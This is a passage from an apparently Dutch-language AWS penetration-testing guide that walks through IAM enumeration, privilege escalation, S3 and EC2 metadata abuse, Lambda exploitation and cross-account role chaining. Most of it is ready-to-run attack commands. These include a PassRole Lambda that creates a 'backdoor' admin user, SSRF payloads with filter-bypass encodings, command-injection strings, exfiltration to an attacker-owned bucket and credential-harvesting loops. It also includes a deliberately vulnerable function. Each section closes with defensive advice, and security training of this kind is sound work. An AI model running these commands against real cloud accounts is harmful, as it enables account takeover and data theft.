Dit commando vertelt je drie dingen: - Account: het 12-cijferige AWS account ID - Arn: de volledige ARN van je identiteit (user, role, of assumed role) - UserId: een unieke identifier

{
    "UserId": "AIDAEXAMPLE123456789",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/pentester"
}

Dit is het vertrekpunt. Alles wat volgt, bouwt hierop voort.

3.2.2 enumerate-iam

enumerate-iam is een tool die systematisch probeert welke AWS API-calls je identiteit mag maken. Het stuurt duizenden verzoeken naar verschillende AWS-services en analyseert de responses – een 403 betekent “geen toegang”, een 200 of een andere succesvolle response betekent “je mag dit.”

# Installatie
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam
pip install -r requirements.txt

# Basisgebruik
python enumerate-iam.py \
    --access-key AKIAIOSFODNN7EXAMPLE \
    --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Met session token (voor tijdelijke credentials)
python enumerate-iam.py \
    --access-key ASIAEXAMPLE \
    --secret-key SECRET_KEY \
    --session-token SESSION_TOKEN

# Met specifieke regio
python enumerate-iam.py \
    --access-key AKIA... \
    --secret-key SECRET... \
    --region eu-west-1

De output is een lijst van API-calls die succesvol waren:

2026-03-02 10:15:23,456 - enumerate-iam - INFO - Starting permission enumeration
2026-03-02 10:15:24,789 - enumerate-iam - INFO - -- Account ARN: arn:aws:iam::123456789012:user/dev-user
2026-03-02 10:15:25,012 - enumerate-iam - INFO - -- Account Id: 123456789012
2026-03-02 10:15:26,345 - enumerate-iam - INFO - Checking iam permissions
2026-03-02 10:15:27,678 - enumerate-iam - INFO -   ALLOWED: iam.list_users
2026-03-02 10:15:28,901 - enumerate-iam - INFO -   ALLOWED: iam.list_roles
2026-03-02 10:15:30,234 - enumerate-iam - INFO -   ALLOWED: iam.list_policies
2026-03-02 10:15:31,567 - enumerate-iam - INFO - Checking s3 permissions
2026-03-02 10:15:32,890 - enumerate-iam - INFO -   ALLOWED: s3.list_buckets
2026-03-02 10:15:34,123 - enumerate-iam - INFO - Checking ec2 permissions
2026-03-02 10:15:35,456 - enumerate-iam - INFO -   ALLOWED: ec2.describe_instances
2026-03-02 10:15:36,789 - enumerate-iam - INFO -   ALLOWED: ec2.describe_security_groups
2026-03-02 10:15:38,012 - enumerate-iam - INFO - Checking lambda permissions
2026-03-02 10:15:39,345 - enumerate-iam - INFO -   ALLOWED: lambda.list_functions

Dit vertelt je onmiddellijk welke services je kunt benaderen. Van daaruit kun je gericht verder enumereren.

Let op: enumerate-iam maakt honderden tot duizenden API-calls. Dit genereert CloudTrail-logs. Het is niet stealthy. Gebruik het vroeg in je assessment, wanneer detectie nog acceptabel is.

3.2.3 AWS CLI enumeratie

Met de AWS CLI kun je gericht enumereren op basis van wat enumerate-iam heeft ontdekt:

# === IAM Enumeratie ===

# Alle IAM users
aws iam list-users --output table

# Details van een specifieke user
aws iam get-user --user-name TARGET_USER

# Access keys van een user
aws iam list-access-keys --user-name TARGET_USER

# Policies gekoppeld aan een user
aws iam list-attached-user-policies --user-name TARGET_USER
aws iam list-user-policies --user-name TARGET_USER  # inline policies

# Policy details ophalen (de daadwerkelijke permissies)
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/POLICY_NAME
aws iam get-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/POLICY_NAME \
    --version-id v1

# Alle IAM groups
aws iam list-groups --output table

# Leden van een groep
aws iam get-group --group-name GROEP_NAAM

# Policies van een groep
aws iam list-attached-group-policies --group-name GROEP_NAAM

# === Roles ===

# Alle IAM roles
aws iam list-roles --output table

# Trust policy van een role (wie mag de role aannemen?)
aws iam get-role --role-name ROLE_NAME \
    | jq '.Role.AssumeRolePolicyDocument'

# Policies van een role
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam list-role-policies --role-name ROLE_NAME

# === Overig ===

# Account authorization details (als je genoeg rechten hebt)
# Dit is de heilige graal: alle users, groups, roles en hun policies in een keer
aws iam get-account-authorization-details > iam-dump.json

# Password policy
aws iam get-account-password-policy

# MFA status van alle users
aws iam generate-credential-report
aws iam get-credential-report --output text --query Content | base64 -d

Die get-account-authorization-details call is bijzonder waardevol. Als je die mag uitvoeren, heb je een complete dump van het IAM-model. Elk user, elke role, elke policy, elke trust relationship. Het is alsof je de blueprints van het gebouw hebt.

3.2.4 Access Advisor

AWS Access Advisor toont wanneer een service voor het laatst is gebruikt door een user of role. Dit is goud voor het identificeren van overmatige rechten:

# Genereer een access advisor rapport
job_id=$(aws iam generate-service-last-accessed-details \
    --arn arn:aws:iam::123456789012:user/TARGET_USER \
    --query 'JobId' --output text)

# Wacht even, haal dan het rapport op
sleep 5
aws iam get-service-last-accessed-details --job-id "$job_id" \
    | jq '.ServicesLastAccessed[] | select(.TotalAuthenticatedEntities > 0) |
      {ServiceName, LastAuthenticated}'

Als een user rechten heeft op S3, EC2, Lambda, DynamoDB, en RDS, maar de afgelopen zes maanden alleen S3 heeft gebruikt, dan zijn de andere rechten overbodig. En overbodige rechten zijn aanvalsoppervlak.

Verdedigingsmaatregel: Gebruik het principe van least privilege. Verwijder ongebruikte rechten op basis van Access Advisor-data. Gebruik IAM Access Analyzer om overly-permissive policies te detecteren. Genereer regelmatig credential reports om ongebruikte access keys en users zonder MFA te identificeren.

3.3 IAM Privilege Escalation

3.3.1 De kunst van het hoger klimmen

IAM privilege escalation is het proces waarbij je begint met beperkte rechten en eindigt met meer rechten dan bedoeld. In AWS is dit niet een enkel pad – het is een heel netwerk van paden. Rhino Security Labs heeft meer dan twintig verschillende privesc-methoden gedocumenteerd, en er worden regelmatig nieuwe ontdekt.

Het fundamentele probleem is dat AWS-permissies additief zijn. Een user erft rechten van zijn groepen, zijn direct gekoppelde policies, en zijn inline policies. Die rechten kunnen subtiele combinaties vormen die individueel onschuldig zijn, maar samen gevaarlijk worden.

Stel: een user mag IAM-policies aanmaken (iam:CreatePolicy) en policies aan zichzelf koppelen (iam:AttachUserPolicy). Elk recht afzonderlijk is relatief onschuldig – je maakt een policy aan, je koppelt een policy. Maar samen vormen ze de sleutel tot alles: je maakt een policy aan met "Action": "*", "Resource": "*", koppelt die aan jezelf, en je bent God.

3.3.2 De belangrijkste privesc-paden

1. CreatePolicyVersion

Als je iam:CreatePolicyVersion hebt op een policy die aan je user is gekoppeld, kun je een nieuwe versie van die policy aanmaken met bredere rechten:

# Stap 1: Check of je CreatePolicyVersion hebt
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d/ -f2)

# Stap 2: Maak een nieuwe policy version aan met admin rechten
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/MY_POLICY \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }' \
    --set-as-default

# Je bent nu admin.

Dit werkt omdat CreatePolicyVersion je toestaat om de inhoud van een policy te wijzigen. De policy is al aan je user gekoppeld, dus de nieuwe inhoud geldt onmiddellijk. Het is alsof je de tekst van een wet mag herschrijven die op jou van toepassing is.

2. AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy

Als je policies mag koppelen aan users, groups of roles:

# Koppel de AdministratorAccess managed policy aan je eigen user
aws iam attach-user-policy \
    --user-name pentester \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Of aan een groep waar je lid van bent
aws iam attach-group-policy \
    --group-name developers \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

3. PutUserPolicy / PutGroupPolicy / PutRolePolicy

In plaats van een bestaande managed policy te koppelen, maak je een inline policy aan:

# Maak een inline policy aan met admin rechten
aws iam put-user-policy \
    --user-name pentester \
    --policy-name escalation \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }'

4. PassRole + Lambda (of EC2, of andere services)

Dit is de meest elegante en meest voorkomende privesc. De logica: 1. Je hebt iam:PassRole (om een role aan een service te geven) 2. Je hebt lambda:CreateFunction en lambda:InvokeFunction 3. Er bestaat een role met meer rechten dan jij hebt 4. Je maakt een Lambda-functie aan die onder die role draait 5. De Lambda-functie voert AWS API-calls uit met de rechten van die role

# Stap 1: Vind een role met meer rechten
aws iam list-roles | jq '.Roles[] | {RoleName, Arn}'

# Stap 2: Check de trust policy -- kan Lambda de role aannemen?
aws iam get-role --role-name AdminRole \
    | jq '.Role.AssumeRolePolicyDocument'
# Moet bevatten: "Service": "lambda.amazonaws.com"

# Stap 3: Maak de privilege escalation Lambda-functie
cat > /tmp/lambda_privesc.py << 'PYEOF'
import boto3
import json

def handler(event, context):
    # Deze code draait met de rechten van AdminRole
    client = boto3.client('iam')

    # Optie A: Maak een nieuwe admin user aan
    client.create_user(UserName='backdoor')
    client.attach_user_policy(
        UserName='backdoor',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    keys = client.create_access_key(UserName='backdoor')

    return {
        'AccessKeyId': keys['AccessKey']['AccessKeyId'],
        'SecretAccessKey': keys['AccessKey']['SecretAccessKey']
    }
PYEOF

# Stap 4: Zip en upload
cd /tmp && zip lambda_privesc.zip lambda_privesc.py

# Stap 5: Maak de Lambda-functie aan met de hoge-privilege role
aws lambda create-function \
    --function-name privesc \
    --runtime python3.12 \
    --handler lambda_privesc.handler \
    --role arn:aws:iam::123456789012:role/AdminRole \
    --zip-file fileb:///tmp/lambda_privesc.zip

# Stap 6: Invoke
aws lambda invoke \
    --function-name privesc \
    /tmp/output.json && cat /tmp/output.json

Dit is waarom iam:PassRole zo gevaarlijk is. Het lijkt onschuldig – je “geeft” een role aan een service. Maar in werkelijkheid escaleer je je eigen rechten via die service. Het is alsof je de sleutel van de kluis niet zelf pakt, maar hem aan een robot geeft en de robot instrueert om de kluis te openen.

5. AssumeRole

Als je een role mag aannemen die meer rechten heeft:

# Check welke roles je mag aannemen
# (dit staat in de trust policy van de role)
aws iam list-roles \
    | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS
      | strings | contains("pentester") or contains("123456789012"))'

# Neem de role aan
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name escalation

# Gebruik de tijdelijke credentials
export AWS_ACCESS_KEY_ID="ASIAEXAMPLE..."
export AWS_SECRET_ACCESS_KEY="SECRET..."
export AWS_SESSION_TOKEN="TOKEN..."

# Verifieer
aws sts get-caller-identity

6. AddUserToGroup

Simpel maar effectief: als je users aan groepen mag toevoegen, voeg je jezelf toe aan de Admins-groep:

# Zoek de groep met de meeste rechten
aws iam list-groups
aws iam list-attached-group-policies --group-name Admins

# Voeg jezelf toe
aws iam add-user-to-group \
    --user-name pentester \
    --group-name Admins

3.3.3 Overzicht van alle privesc-paden

Elk van deze paden is een ketting: het begint met een ogenschijnlijk beperkt recht en eindigt met volledige controle. Het probleem is dat AWS-beheerders deze ketens niet zien wanneer ze rechten toekennen. Ze geven een ontwikkelaar iam:PassRole en lambda:CreateFunction omdat die rechten nodig zijn voor het deployen van Lambda-functies. Wat ze niet beseffen, is dat diezelfde rechten privilege escalation mogelijk maken.

Verdedigingsmaatregel: Beperk iam:PassRole met een Resource-restrictie tot specifieke roles. Gebruik Permission Boundaries om te voorkomen dat users rechten kunnen escaleren voorbij een bepaald plafond. Monitor met CloudTrail en AWS Config op policy-wijzigingen en role-aannames. Implementeer Service Control Policies (SCPs) in AWS Organizations om harde grenzen te stellen.

3.4 S3 Exploitatie

3.4.1 De digitale opslagloods

Amazon S3 is de opslagdienst van AWS. Organisaties gebruiken het voor alles: website-assets, applicatiedata, backups, logbestanden, database dumps. Het is goedkoop, schaalbaar en betrouwbaar. Het is ook de bron van meer datalekken dan welke andere cloud-service ook.

Het permissiemodel van S3 is een meesterwerk van verwarring. Er zijn vier verschillende manieren om toegang te verlenen tot een S3 bucket:

1. Bucket policies: JSON-documenten die op de bucket zelf staan
2. Object ACLs: per-object access control lists (legacy, maar nog steeds in gebruik)
3. IAM policies: permissies op de user/role die de request maakt
4. Block Public Access: een accountniveau-instelling die alles overschrijft

En deze vier systemen interageren met elkaar. Een bucket kan een policy hebben die publieke toegang toestaat, maar Block Public Access kan dat overschrijven. Of een object kan een ACL hebben die publieke leestoegang geeft, zelfs als de bucket policy dat niet doet. Het is een vierlagen-beveiligingsmodel waarvan de lagen elkaar tegenspreken.

3.4.2 Misconfigured buckets

# Check of een bucket publiekelijk listbaar is
aws s3 ls s3://target-bucket --no-sign-request

# Download alle publiekelijk toegankelijke objecten
aws s3 sync s3://target-bucket /tmp/bucket-dump --no-sign-request

# Check of je kunt schrijven naar een bucket
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://target-bucket/test.txt --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request

De --no-sign-request flag is cruciaal. Het vertelt de AWS CLI om geen authentication headers mee te sturen – je doet het verzoek als een anonieme gebruiker. Als het werkt, is de bucket publiekelijk toegankelijk.

Veelvoorkomende misconfiguraties:

3.4.3 Object-level vs bucket-level permissies

Een subtiel maar kritiek onderscheid: een bucket kan niet-listbaar zijn, maar individuele objecten kunnen wel publiekelijk leesbaar zijn. Dit betekent dat je de bestandsnamen niet kunt zien, maar als je de naam raadt, kun je het bestand downloaden.

# Bucket is niet listbaar
aws s3 ls s3://target-bucket --no-sign-request
# Access Denied

# Maar specifieke objecten kunnen wel toegankelijk zijn
aws s3 cp s3://target-bucket/backup.sql /tmp/backup.sql --no-sign-request
# download: s3://target-bucket/backup.sql -> /tmp/backup.sql

# Veelvoorkomende bestandsnamen om te proberen
for file in backup.sql database.sql dump.sql config.json .env \
            credentials.json secrets.json terraform.tfstate \
            id_rsa private.key backup.tar.gz data.csv; do
    aws s3 cp "s3://target-bucket/$file" /dev/null --no-sign-request 2>/dev/null \
        && echo "FOUND: $file"
done

3.4.4 Pre-signed URL abuse

Pre-signed URLs zijn tijdelijke links die toegang geven tot een S3 object zonder AWS-credentials. Ze worden vaak gebruikt om gebruikers bestanden te laten downloaden uit private buckets. Het probleem: als een pre-signed URL lekt, kan iedereen met die URL het object downloaden tot de URL verloopt.

# Genereer een pre-signed URL (als je de juiste rechten hebt)
aws s3 presign s3://target-bucket/secret-file.pdf --expires-in 3600

# Het resultaat is een lange URL met een signature:
# https://target-bucket.s3.amazonaws.com/secret-file.pdf?
#   X-Amz-Algorithm=AWS4-HMAC-SHA256&
#   X-Amz-Credential=AKIAEXAMPLE/20260302/eu-west-1/s3/aws4_request&
#   X-Amz-Date=20260302T120000Z&
#   X-Amz-Expires=3600&
#   X-Amz-Signature=abcdef...

# Pre-signed URLs lekken via:
# - Browser history
# - Referrer headers
# - Server logs
# - Slack/Teams berichten
# - E-mails

Pre-signed URLs zijn ook bruikbaar als data exfiltratie-kanaal. Met PutObject rechten kun je een pre-signed URL genereren waarmee data naar een bucket kan worden geupload – zonder dat de uploader AWS-credentials nodig heeft.

3.4.5 S3 als data exfiltratie

Als je schrijfrechten hebt naar een S3 bucket die je zelf beheert, kun je S3 gebruiken om data te exfiltreren uit een gecompromitteerde omgeving:

# Configureer je eigen AWS-profiel
aws configure --profile exfil
# Vul je eigen access key en secret key in

# Kopieer data naar je eigen bucket
aws s3 cp /tmp/gevoelige-data.tar.gz s3://mijn-exfil-bucket/ --profile exfil

# Of gebruik de AWS CLI met environment variables
export AWS_ACCESS_KEY_ID="MIJN_KEY"
export AWS_SECRET_ACCESS_KEY="MIJN_SECRET"
aws s3 cp /tmp/data.tar.gz s3://mijn-bucket/

Dit verkeer gaat over HTTPS naar AWS-endpoints. Het ziet eruit als normaal S3-verkeer. Veel organisaties monitoren uitgaand verkeer naar AWS niet specifiek, waardoor S3 een effectief exfiltratiekanaal is.

Verdedigingsmaatregel: Activeer S3 Block Public Access op accountniveau. Gebruik bucket policies met expliciete Deny voor ongewenste acties. Monitor S3 access logs en CloudTrail data events. Gebruik S3 Object Lock voor kritieke data. Implementeer VPC endpoints voor S3 en blokkeer S3-verkeer dat niet via de VPC endpoint gaat.

3.5 EC2 Aanvallen

3.5.1 De virtuele machine en haar geheimen

Amazon EC2 (Elastic Compute Cloud) is de virtuele-machine-service van AWS. Het is waar de applicaties draaien, de databases staan, en de workloads worden verwerkt. En het is waar de Instance Metadata Service (IMDS) een schat aan informatie biedt aan iedereen die erom vraagt.

3.5.2 Instance Metadata Service (IMDS)

Elke EC2-instantie heeft toegang tot een metadata-service op 169.254.169.254. Dit is een link-local adres dat alleen bereikbaar is vanaf de instantie zelf. Het biedt informatie over de instantie: hostname, instance ID, security groups, en – het belangrijkste – tijdelijke IAM-credentials.

Er zijn twee versies:

IMDSv1 is het oorspronkelijke protocol. Het is simpel: stuur een HTTP GET-request, krijg de data terug. Geen authenticatie, geen tokens, geen bescherming.

# IMDSv1 -- simpele GET requests
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/local-ipv4
curl http://169.254.169.254/latest/meta-data/public-ipv4
curl http://169.254.169.254/latest/meta-data/instance-id
curl http://169.254.169.254/latest/meta-data/security-groups
curl http://169.254.169.254/latest/meta-data/iam/info

# De gouden prijs: IAM credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Dit geeft de naam van de IAM role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Dit geeft: AccessKeyId, SecretAccessKey, Token (tijdelijk)

# User-data: het startup script van de instantie
# Bevat vaak wachtwoorden, API keys, en configuratie
curl http://169.254.169.254/latest/user-data/

IMDSv2 vereist een session token:

# IMDSv2 -- eerst een token ophalen
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Dan het token meesturen bij elk verzoek
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/user-data/

IMDSv2 beschermt tegen SSRF-aanvallen, omdat het PUT-verzoek voor het token een custom header vereist die de meeste SSRF-kwetsbaarheden niet kunnen meesturen. Maar het beschermt niet tegen een aanvaller die al code kan uitvoeren op de instantie.

Het verschil tussen v1 en v2? IMDSv1 is een deur zonder slot. IMDSv2 is een deur met een slot dat je moet omdraaien voordat je binnenkomt. Geen van beide stopt iemand die al binnen is.

3.5.3 SSRF naar metadata

De meest voorkomende aanval op EC2-metadata is via Server-Side Request Forgery. Als een webapplicatie op een EC2-instantie een SSRF-kwetsbaarheid heeft, kan een aanvaller de applicatie laten praten met de metadata-service:

# SSRF naar IMDSv1 (als de applicatie URL's accepteert)
# Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Alternatieve notaties om filters te omzeilen
# Decimaal: http://2852039166/latest/meta-data/
# Hex: http://0xa9fea9fe/latest/meta-data/
# IPv6 mapped: http://[::ffff:169.254.169.254]/latest/meta-data/
# DNS rebinding: configureer een domein dat resolvet naar 169.254.169.254

# Voorbeeld van een SSRF-aanval via een url-preview functie:
curl "https://target.com/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

De Capital One-breach van 2019 was precies dit patroon: een SSRF-kwetsbaarheid in een webapplicatie leidde tot het uitlezen van IAM-credentials via de metadata-service, die vervolgens werden gebruikt om S3 buckets te lezen met 100 miljoen klantrecords.

3.5.4 User-data scripts

EC2 user-data is een startup script dat bij het starten van een instantie wordt uitgevoerd. Het wordt vaak gebruikt om software te installeren, configuratie toe te passen, en – hier gaat het mis – credentials in te stellen.

# User-data ophalen (vanaf de instantie zelf)
curl http://169.254.169.254/latest/user-data/

# Typische inhoud die je vindt:
#!/bin/bash
# DOE DIT NIET -- maar het gebeurt dagelijks
export DB_PASSWORD="SuperGeheimWachtwoord123!"
export AWS_ACCESS_KEY_ID="AKIAEXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG..."
apt-get install -y docker
docker pull company/app:latest
docker run -e DB_PASSWORD=$DB_PASSWORD company/app:latest

User-data is ook zichtbaar via de EC2 API met ec2:DescribeInstanceAttribute:

# User-data ophalen van een andere instantie (API)
aws ec2 describe-instance-attribute \
    --instance-id i-0abcdef1234567890 \
    --attribute userData \
    --query 'UserData.Value' --output text | base64 -d

3.5.5 EBS Snapshot access

EBS (Elastic Block Store) snapshots zijn backups van EC2-schijven. Als een snapshot publiekelijk is gedeeld – of gedeeld met een account dat je beheert – kun je de volledige schijfinhoud lezen.

# Zoek publieke snapshots van het target account
aws ec2 describe-snapshots \
    --owner-ids 123456789012 \
    --query 'Snapshots[*].{Id:SnapshotId,Description:Description,Size:VolumeSize}' \
    --output table

# Maak een volume van een snapshot (in je eigen account)
aws ec2 create-volume \
    --snapshot-id snap-0abcdef1234567890 \
    --availability-zone eu-west-1a

# Mount het volume op je eigen EC2-instantie
aws ec2 attach-volume \
    --volume-id vol-0abcdef1234567890 \
    --instance-id i-YOUR_INSTANCE \
    --device /dev/sdf

# Op je instantie: mount en doorzoek
sudo mount /dev/xvdf1 /mnt
find /mnt -name "*.conf" -o -name "*.env" -o -name "*.key" -o -name "*.pem"
grep -r "password\|secret\|key" /mnt/etc/ /mnt/home/ /mnt/opt/ 2>/dev/null

Publieke snapshots zijn minder zeldzaam dan je zou hopen. Soms worden ze per ongeluk gedeeld. Soms worden ze gedeeld “voor debugging” en daarna vergeten. Soms weet de persoon die ze deelt niet dat “public” letterlijk “de hele wereld” betekent.

Verdedigingsmaatregel: Forceer IMDSv2 via een Instance Metadata Options-configuratie. Blokkeer IMDSv1 volledig. Sla geen credentials op in user-data. Gebruik IAM roles in plaats van hardcoded keys. Controleer regelmatig of er publieke EBS snapshots zijn. Gebruik AWS Config rules om automatisch te detecteren wanneer een snapshot publiekelijk wordt gedeeld.

3.6 Lambda Exploitatie

3.6.1 Serverless is niet zorgeloos

AWS Lambda is de serverless compute-service van AWS. Je schrijft code, uploadt het, en AWS zorgt voor de rest: servers, schaling, beschikbaarheid. Het klinkt als een droom. En voor aanvallers is het dat ook – maar om andere redenen.

Lambda-functies draaien onder IAM-roles. Die roles hebben vaak meer rechten dan nodig. De code in de functies bevat vaak hardcoded credentials. En de events die Lambda triggeren, worden zelden gevalideerd.

3.6.2 Function URL abuse

Lambda Function URLs zijn publiekelijk bereikbare HTTPS-endpoints voor Lambda-functies. Ze zijn bedoeld voor eenvoudige API’s en webhooks. Het probleem: als de authenticatie verkeerd is geconfigureerd, kan iedereen de functie aanroepen.

# Zoek Lambda-functies met Function URLs
aws lambda list-function-url-configs --function-name TARGET_FUNCTION

# Enumerate alle functies en hun URL configs
for func in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
    url=$(aws lambda get-function-url-config --function-name "$func" 2>/dev/null \
        | jq -r '.FunctionUrl')
    if [ "$url" != "null" ] && [ -n "$url" ]; then
        auth=$(aws lambda get-function-url-config --function-name "$func" \
            | jq -r '.AuthType')
        echo "$func: $url (Auth: $auth)"
    fi
done

Als AuthType op NONE staat, is de functie toegankelijk zonder authenticatie. Iedereen met de URL kan de functie aanroepen.

3.6.3 Environment variable secrets

Lambda-functies gebruiken environment variables voor configuratie. Die variabelen bevatten vaak credentials:

# Haal de configuratie op van een Lambda-functie (inclusief env vars)
aws lambda get-function-configuration --function-name TARGET_FUNCTION

# De output bevat een "Environment" sectie:
# "Environment": {
#     "Variables": {
#         "DB_HOST": "prod-db.cluster-abc.eu-west-1.rds.amazonaws.com",
#         "DB_USER": "admin",
#         "DB_PASSWORD": "ProductieWachtwoord123!",
#         "API_KEY": "sk-live-AbCdEfGhIjKlMnOpQrStUvWxYz",
#         "SLACK_WEBHOOK": "https://hooks.slack.com/services/T00/B00/xxxx"
#     }
# }

# Enumerate alle functies en hun environment variables
aws lambda list-functions --query 'Functions[].FunctionName' --output text \
    | tr '\t' '\n' \
    | while read func; do
        echo "=== $func ==="
        aws lambda get-function-configuration --function-name "$func" \
            | jq '.Environment.Variables // empty'
    done

Dit is een goudmijn. Database-wachtwoorden, API-keys, webhooks, interne service-URLs – alles staat in de environment variables. En iedereen met lambda:GetFunctionConfiguration kan ze lezen.

3.6.4 Event injection

Lambda-functies worden getriggerd door events: HTTP-requests, S3 uploads, SQS-berichten, CloudWatch-events. Als de functie de event-data niet valideert, is het kwetsbaar voor injection.

# Kwetsbare Lambda-functie (voorbeeld)
import subprocess

def handler(event, context):
    # Event bevat user input via API Gateway
    filename = event['queryStringParameters']['file']
    # Command injection via bestandsnaam!
    result = subprocess.run(f"cat /tmp/{filename}", shell=True, capture_output=True)
    return {
        'statusCode': 200,
        'body': result.stdout.decode()
    }

# Exploitatie: command injection via de event parameter
curl "https://FUNCTION_URL/?file=;env"
# Output bevat alle environment variables, inclusief AWS credentials

curl "https://FUNCTION_URL/?file=;cat+/proc/self/environ"
# Alternatief: process environment

3.6.5 Lambda source code ophalen

Als je lambda:GetFunction hebt, kun je de broncode van een Lambda-functie downloaden:

# Download de code van een Lambda-functie
aws lambda get-function --function-name TARGET_FUNCTION \
    | jq -r '.Code.Location'
# Dit geeft een pre-signed S3 URL waarmee je de code kunt downloaden

# Download en unzip
url=$(aws lambda get-function --function-name TARGET_FUNCTION \
    | jq -r '.Code.Location')
curl -o /tmp/lambda_code.zip "$url"
unzip /tmp/lambda_code.zip -d /tmp/lambda_code/

# Doorzoek de code op credentials
grep -r "password\|secret\|key\|token" /tmp/lambda_code/

De broncode van Lambda-functies bevat vaak meer dan environment variables: hardcoded credentials, interne API-endpoints, business logic die je kunt misbruiken, en dependencies met bekende kwetsbaarheden.

Verdedigingsmaatregel: Gebruik AWS_IAM als authenticatietype voor Function URLs. Sla credentials op in Secrets Manager of Parameter Store, niet in environment variables. Valideer alle event-input. Gebruik de minst brede IAM-role die mogelijk is. Scan Lambda-code op kwetsbaarheden als onderdeel van je CI/CD-pipeline.

3.7 STS en Cross-Account

3.7.1 De vertrouwensketen

AWS Security Token Service (STS) is de dienst die tijdelijke credentials uitgeeft. Via AssumeRole kun je tijdelijk de rechten van een andere role overnemen. Dit is de basis van cross-account toegang in AWS: account A vertrouwt account B, en gebruikers in account B kunnen roles aannemen in account A.

Dit vertrouwensmodel is krachtig en flexibel. Het is ook een aanvalsoppervlak van jewelste.

3.7.2 AssumeRole in de praktijk

# Stap 1: Vind roles die cross-account trust hebben
aws iam list-roles | jq '.Roles[] |
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) |
    {RoleName, TrustPrincipal: .AssumeRolePolicyDocument.Statement[].Principal}'

# Een trust policy die cross-account toegang toestaat:
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::999888777666:root"
        },
        "Action": "sts:AssumeRole"
    }]
}
# Dit betekent: elke identiteit in account 999888777666 kan deze role aannemen

# Stap 2: AssumeRole uitvoeren
creds=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/CrossAccountRole \
    --role-session-name pentest-session \
    --output json)

# Stap 3: Tijdelijke credentials instellen
export AWS_ACCESS_KEY_ID=$(echo $creds | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds | jq -r '.Credentials.SessionToken')

# Stap 4: Verifieer
aws sts get-caller-identity
# Nu werk je als de CrossAccountRole in het target account

3.7.3 Confused Deputy

Het Confused Deputy-probleem doet zich voor wanneer een service (de “deputy”) wordt misleid om acties uit te voeren namens een aanvaller. In AWS-context: als een service een role mag aannemen namens klanten, kan een kwaadaardige klant de service mogelijk laten acteren in een ander klant-account.

// Kwetsbare trust policy (geen ExternalId check)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::THIRD_PARTY_ACCOUNT:root"
        },
        "Action": "sts:AssumeRole"
    }]
}

// Beveiligde trust policy (met ExternalId)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::THIRD_PARTY_ACCOUNT:root"
        },
        "Action": "sts:AssumeRole",
        "Condition": {
            "StringEquals": {
                "sts:ExternalId": "UNIEK-GEHEIM-PER-KLANT"
            }
        }
    }]
}

De ExternalId is een gedeeld geheim dat voorkomt dat een willekeurige klant van de third-party service de role kan aannemen. Zonder ExternalId kan elke klant van de third-party service de role aannemen – ook een kwaadaardige klant.

3.7.4 Role chaining

Role chaining is het achtereenvolgens aannemen van roles: role A neemt role B aan, die role C aanneemt. Elk stap vergroot potentieel je rechten.

# Stap 1: Start als user met beperkte rechten
aws sts get-caller-identity
# arn:aws:iam::111111111111:user/pentester

# Stap 2: Neem role A aan (beperkte cross-account role)
creds_a=$(aws sts assume-role \
    --role-arn arn:aws:iam::222222222222:role/ReadOnlyRole \
    --role-session-name chain-step1)
export AWS_ACCESS_KEY_ID=$(echo $creds_a | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds_a | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds_a | jq -r '.Credentials.SessionToken')

# Stap 3: Vanuit role A, neem role B aan (met meer rechten)
creds_b=$(aws sts assume-role \
    --role-arn arn:aws:iam::222222222222:role/AdminRole \
